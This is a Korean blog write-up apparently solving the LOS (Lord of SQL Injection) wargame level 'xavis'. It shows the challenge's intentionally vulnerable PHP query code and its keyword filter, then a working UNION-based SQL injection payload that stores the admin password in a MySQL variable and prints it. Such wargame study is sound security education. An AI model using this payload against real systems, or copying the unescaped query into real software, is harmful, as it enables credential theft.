Tyojong
[LOS] xavis 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
highlight_file(__FILE__);
?>
문제 목표
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
쿼리 조회 후 쿼리 결과에 대한 id컬럼 값을 출력한다.

하지만 union select 구문을 통해 결과를 확인해보면 1은 id값이 아닌데도 출력이 된다.
php @mysqli_fetch_array는 union의 결과에서 컬럼명은 첫 번째 select문의 컬럼명을 따르게 된다. 때문에 union select 결과가 id컬럼으로 매핑되어서 $result[id]에 출력이 되는것이다.
문제 해결
mysql에서는 @변수명 을 통해 변수를 선언할 수 있고 :=를 통해 값을 대입할 수 있다.
?pw=' or (select @a:=pw where id='admin') union select @a--+
위와 같은 페이로드를 작성하면 @a변수에 id가 admin인 pw를 저장하고 해당 변수를 union select를 사용해 출력시키는 페이로드이다.

페이로드를 입력하면 admin의 pw를 출력할 수 있고

알아낸 패스워드를 입력하면 문제를 해결할 수 있다.
'web > LOS' 카테고리의 다른 글
| [LOS] dragon (0) | 2026.01.30 |
|---|---|
| [LOS] nightmare (0) | 2026.01.07 |
| [LOS] zombie_assassin (0) | 2025.08.14 |
| [LOS] succubus (0) | 2025.08.13 |
| [LOS] assassin (2) | 2025.08.12 |
